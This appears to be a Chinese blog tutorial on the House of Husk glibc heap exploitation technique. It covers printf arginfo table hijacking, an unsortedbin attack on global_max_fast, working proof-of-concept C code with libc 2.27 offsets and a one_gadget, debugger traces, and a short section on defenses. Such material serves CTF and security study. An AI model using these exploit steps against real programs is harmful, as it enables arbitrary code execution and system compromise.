参考链接:https://ptr-yudai.hatenablog.com/entry/2020/04/02/111507

由ptr-yudai发现并命名的堆攻击方法:House of Husk。

条件

  1. unsortedbin chunk可以UAF
  2. 可以malloc大块,至少2次。在libc2.27中需要malloc 0x9420和0x1850字节。
  3. printf用格式化字符串。

这是在ptr-yudai博客中的描述。其实学习完之后,感觉这个方法的核心在于通过printf函数getshell,所以是不是有unsortedbin attack无关紧要。就像利用__malloc_hook来getshell一样,只是一种getshell的方法。

优点

fastbin attack时需要绕过对size的检查,例如在覆盖malloc_hook时需要构造0x7f的fake chunk size才能正常的拿到附近的堆块。但是如果限制了malloc的大小,往往比较难绕过size的检查。

House of Husk提供了一种攻击思路,可以应对size的检查。只要有fastbin的libc都可以使用。

同上,核心在通过printf来getshell。

前置知识点

register_printf_function

在libc中有这样一个函数:register_printf_function。

位置:https://code.woboq.org/userspace/glibc/stdio-common/reg-printf.c.html#88

image-20200429121341779

功能可以参考https://www.gnu.org/software/libc/manual/html_node/Registering-New-Conversions.html

简单来说就是注册格式化字符串的,例如注册”s”对应的%s是什么功能。

可以看到函数调用了__register_printf_specifier。其中用calloc分配了一个结构体__printf_arginfo_table

image-20200429121731734

1
2
3
4
5
6
7
8
9
10
11
12
if (__printf_function_table == NULL)
{
__printf_arginfo_table = (printf_arginfo_size_function **) // <== 这里
calloc (UCHAR_MAX + 1, sizeof (void *) * 2);
if (__printf_arginfo_table == NULL)
{
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}

其中的__printf_arginfo_table,在调用使用格式化字符串的函数如printf/sprintf时,会检查它是否被注册(即是否为空):

1
2
3
4
5
/* Use the slow path in case any printf handler is registered.  */
if (__glibc_unlikely (__printf_function_table != NULL
|| __printf_modifier_table != NULL
|| __printf_va_arg_table != NULL))
goto do_positional;

没注册的话,用默认的格式化字符串。注册了的话,用注册了的格式化字符串。为了检查参数是否匹配,先调用存储在__printf_arginfo_table的函数,之后再调用__printf_function_table中的函数。

这里的核心是,如果__printf_function_table保存的值不为0,就会调用__printf_arginfo_table里的函数指针。用那个指针根据格串的type找。其实就是稍微复杂一点的hook啦。

Unsortedbin Attack

global_max_fast覆盖为一个大数。这样之后释放的块就会使用fastbin管理,用fastbin attack就方便很多。

任意地址写

参考:

其中关于Unsorted bin Attack任意写的部分。

修改global_max_fast后,分配特定大小的堆块,可以修改地址在fastbinY之后的数据。堆块大小的计算方法如下:

1
chunk_size = (target - &fastbinY) * 2 + 0x20

例如经过计算,chunk_size = 0x1500。攻击步骤如下:

  1. malloc(0x1500-0x10)拿到指针A
  2. 通过攻击修改global_max_fast
  3. delete A
  4. 通过UAF修改A的内容,edit(A, some data)。
  5. malloc(0x1500-0x10)

这样就可以将some data写入target。

步骤

  1. 泄露出libc的地址
  2. 通过unsortedbin attack覆盖global_max_fast为一个大值,之后都通过fastbin管理
  3. 伪造一个fake arginfo table,将其地址通过上面的任意地址写的方法写入__printf_arginfo_table
  4. 同样用任意地址写的方法将一个非0值写入__printf_function_table,这样看起来就是注册过了
  5. 带着格式化字符串调用printf

这里控制rip的方法是,在fake arginfo table中事先保存一个函数指针,和一个格式化字符串对应。这样在调用printf时,调用printf_positional,然后调用__printf_arginfo_table[c],其中是我们事先保存的函数指针,这样就可以控制rip了。

image-20200429161945060

这里面的参数就是格串的type的ASCII值算的。比如printf的格串是%X,那下表就是ord(‘X’)*8。

POC from ptr-yudai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/**
* This is a Proof-of-Concept for House of Husk
* This PoC is supposed to be run with libc-2.27.
*/
#include <stdio.h>
#include <stdlib.h>

#define offset2size(ofs) ((ofs) * 2 - 0x10) // 用于计算unsortedbin attack前malloc的块大小
#define MAIN_ARENA 0x3ebc40 // main arena在libc中的偏移
#define MAIN_ARENA_DELTA 0x60 // unsortedbin fd指针距离main arena的偏移
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c

int main (void)
{
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL); // make printf quiet

/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA)); // fake table
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]); // 现在a0进入unsortedbin
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);

/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;

/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */

/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]);
free(a[2]);

/* ignite! */
printf("%X", 0);

return 0;
}

free之后:

1
2
3
4
5
6
7
pwndbg> parseheap
addr prev size status fd bk
0x602000 0x0 0x250 Used None None
0x602250 0x0 0x510 Freed 0x7ffff7dcfca0 0x7ffff7dcfca0
0x602760 0x510 0x9430 Used None None
0x60bb90 0x0 0x1860 Used None None
0x60d3f0 0x0 0x510 Used None None

在printf arginfo table中保存one gadget:

1
2
3
4
pwndbg> x/100gx 0x60bb90
0x60bb90: 0x0000000000000000 0x0000000000001861
...
0x60be50: 0x00007ffff7aee38c 0x0000000000000000

给unsortedbin attack作准备,写bk=global_max_fast-0x10:

1
2
3
pwndbg> x/20gx 0x602250
0x602250: 0x0000000000000000 0x0000000000000511
0x602260: 0x00007ffff7dcfca0 0x00007ffff7dd1930
1
2
3
4
5
6
攻击前
pwndbg> x/gx 0x3ed940+0x7ffff79e4000
0x7ffff7dd1940 <global_max_fast>: 0x0000000000000080
攻击后
pwndbg> x/gx 0x3ed940+0x7ffff79e4000
0x7ffff7dd1940 <global_max_fast>: 0x00007ffff7dcfca0

之后free a[1],目标写__printf_function_table

1
2
3
4
5
6
攻击前
pwndbg> x/gx 0x3f0658+0x7ffff79e4000
0x7ffff7dd4658 <__printf_function_table>: 0x0000000000000000
攻击后
pwndbg> x/gx 0x3f0658+0x7ffff79e4000
0x7ffff7dd4658 <__printf_function_table>: 0x0000000000602760 (a[1]堆块头的地址)

这里只要是一个非0值就可以,目的是看起来printf注册过了,然后就会调用__printf_arginfo_table里的函数指针。

之后free a[2],目标写__printf_arginfo_table

1
2
3
4
5
6
攻击前
pwndbg> x/gx 0x3ec870+0x7ffff79e4000
0x7ffff7dd0870 <__printf_arginfo_table>: 0x0000000000000000
攻击后
pwndbg> x/gx 0x3ec870+0x7ffff79e4000
0x7ffff7dd0870 <__printf_arginfo_table>: 0x000000000060bb90 (a[2]堆块头的地址)

将fake table写入。这样之后调用printf的时候,就会到这里找函数指针。

调用路径:

printfprintf_positional__parse_one_specmb(void)(*__printf_arginfo_table[spec.info.spec])(...)

其中的下标spec.info.spec就是对应的格式化字符串的type,这里面是X。在__printf_arginfo_table写入的地址为(‘X’-2)8+a[2],其实就是a[2]的堆块头的地址+’X’\8。

image-20200429162023884

之后就可以getshell了。

POC from mine

毕竟核心是通过printf来getshell。看这个简单的POC就可以了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870

void success()
{
puts("Great!");
exit(0);
}

int main (void)
{
// Seems no need to clean buffer here.
// setbuf(stdout, NULL);

// Asume we already get libc address.
unsigned long libc_base = (unsigned long)system - 0x4f440;
printf("libc at %lx\n", libc_base);

// Fake a printf arginfo table at somewhere.
unsigned long fake_arginfo[26];
fake_arginfo['d'] = &success;

// Set printf functable to a non-zero value.
*(unsigned long*)(libc_base + PRINTF_FUNCTABLE) = 0x1337;
// Set fake printf arginfo table address.
*(unsigned long*)(libc_base + PRINTF_ARGINFO) = &fake_arginfo;

// Call printf and jump to success function.
printf("%d");

return 0;
}

效果:

1
2
3
root@House_of_Husk:/ctf/work# ./poc_mine
libc at 7fc13f0fa000
Great!

这里面printf加一些其他的输出也是可以的。printf函数本身是经常用到的,所以这个方法适用性也比较好。

动态分析使用指令:

1
directory ~/Desktop/CTF/glibc-2.27/stdio-common

后记

总的来说,这里printf的调用链是之前所不知道的,另外发现这个方法在34C3的题目中出现过。使用的时候也不必局限于unsortedbin attack;在malloc大小受限,但是可以malloc较大块的时候可以考虑通过这种方法getshell。

参考:https://www.anquanke.com/post/id/202387

寻找新的调用链?

通过printf的格式化字符串来getshell,而使用格串的函数不止一个,比如scanf, sprintf, printf,都使用格串。可能也存在类似的getshell的方法。

怎么去发现类似的可利用的调用链呢?大概的特点是:

  • 在常用的函数中
  • 使用了内存中(应该是libc中)的函数指针

例如调用__malloc_hook指针:

1
2
3
4
5
6
7
8
__libc_malloc (size_t bytes)
{
mstate ar_ptr;
void *victim;
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));

以及这次的

1
(void)(*__printf_arginfo_table[spec.info.spec])(...);

都是调用函数指针的形式:

1
(*函数指针)(...参数...);

最简单的来说也许可以直接通过正则匹配来找一下其他存在的函数指针的调用链,然后看一下这些函数指针是如何赋值和使用的,这样在有任意地址写等类似的情况下,增加能getshell的途径。

例如我们试图匹配(*函数指针)(,编写正则表达式:

1
\(\*[a-zA-Z0-9_.\[\]]+\)\(

匹配的结果(一部分):

image-20200429215839714

剩下的可能就是人力查看了hhh。

防御?

保护函数指针的方法一般就是增加加密和验证的机制。

参考:http://zero-entropy.de/fpp.pdf

Tidy L, Shahzad K, Ahmad M A, et al. An assessment of the contemporary threat posed by network worm malware[J]. 2014.

如:

1
2
extern ( void (∗)(void) ) verify ( void(∗)(void) ) ;
[...]

这样调用(*f)()时就会变成(*verify(f))()